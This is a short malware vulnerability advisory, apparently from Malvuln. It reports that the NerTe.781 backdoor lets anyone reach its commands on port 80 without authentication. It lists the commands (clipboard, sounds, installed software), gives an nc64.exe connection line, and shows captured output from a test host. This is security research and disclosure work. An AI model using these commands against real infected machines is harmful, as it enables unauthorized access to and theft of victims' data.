Backdoor.Win32.NerTe.781 Code Execution

Backdoor.Win32.NerTe.781 malware suffers from a code execution vulnerability.

MD5 | 43424a2847a8ee3cfb3313341cd23795

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Unauthenticated Remote Command Execution
Description: Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0265
Dropped files: nsrv78.exe
Disclosure: 07/03/2021

Example commands:

GETCLB (Get Clipboard data)
GETSND (Get sounds)
GETIN2 (Get Installed Software)

nc64.exe x.x.x.x 80

GETCLB*************** Clipboard **************ñTomorrow West 18th and broadway.ñ*************** End **************╢GETSND

MSGUnknown command╢GETIN2
GETIN2DESKTOP-2C4IQHOñVictimñññññ7:56:40 PMñ1 Hour, 11 Minutes, 42 Seconds.ñ1ñ1ñ1ñ2814.17ñUnknown╢
GETIN4NTFSñC:\Program Files (x86)\NerTeñA2C9-AD2Fñ85405782016ñ12950585344ñ512ñ8ñ20,851,021ñ3,161,764ñFixedñCDñC: []ñD: []╢
GETIN6HxD Hex Editor versionñNerTeñWinPcap 4.1.3ñWinSCP 5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual C++ 2017
C:\Users\Victim\AppData\Local\Programs\Python\Python2\;C:\Users\Victim\AppData\Local\Microsoft\WindowsApps;;C:\Users\Victim\AppData\Local\Programs\Fiddler;C:\Program Files (x86)\Fiddler2\Fiddlerñ0PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.

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